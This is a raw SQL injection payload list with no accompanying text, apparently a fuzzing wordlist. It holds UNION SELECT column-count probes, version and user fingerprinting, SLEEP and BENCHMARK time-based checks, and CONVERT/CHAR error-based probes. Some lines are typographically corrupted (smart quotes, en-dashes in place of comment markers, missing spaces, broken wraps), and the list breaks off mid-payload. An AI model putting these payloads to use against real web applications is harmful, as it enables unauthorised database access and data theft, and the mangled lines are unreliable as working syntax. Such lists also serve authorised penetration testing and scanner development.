UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30#
UNION ALL SELECT 1–
UNION ALL SELECT 1,2–
UNION ALL SELECT 1,2,3–
UNION ALL SELECT 1,2,3,4–
UNION ALL SELECT 1,2,3,4,5–
UNION ALL SELECT 1,2,3,4,5,6–
UNION ALL SELECT 1,2,3,4,5,6,7–
UNION ALL SELECT 1,2,3,4,5,6,7,8–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29–
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30–
UNION SELECT @@VERSION,SLEEP(5),3
UNION SELECT @@VERSION,SLEEP(5),USER(),4
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28,29
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28,29,30
UNION SELECT @@VERSION,SLEEP(5),”‘3
UNION SELECT @@VERSION,SLEEP(5),”‘3′”#
UNION SELECT @@VERSION,SLEEP(5),USER(),4#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17#
UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28,29#
UNION SELECT
@@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5(‘A’)),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
,25,26,27,28,29,30#
UNION ALL SELECT USER()–
UNION ALL SELECT SLEEP(5)–
UNION ALL SELECT USER(),SLEEP(5)–
UNION ALL SELECT @@VERSION,USER(),SLEEP(5)–
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’))–
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL–
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL–
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL–
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL–
UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT
@@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5(‘A’)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–
UNION ALL SELECT NULL–
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))–
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))–
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))–
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))–
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))–
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))–
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))–

UNION ALL SELECT NULL#

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))

#UNION ALL SELECT NULL

AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
HAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
AND 5650=CONVERT(INT,(UNION ALL
SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+C
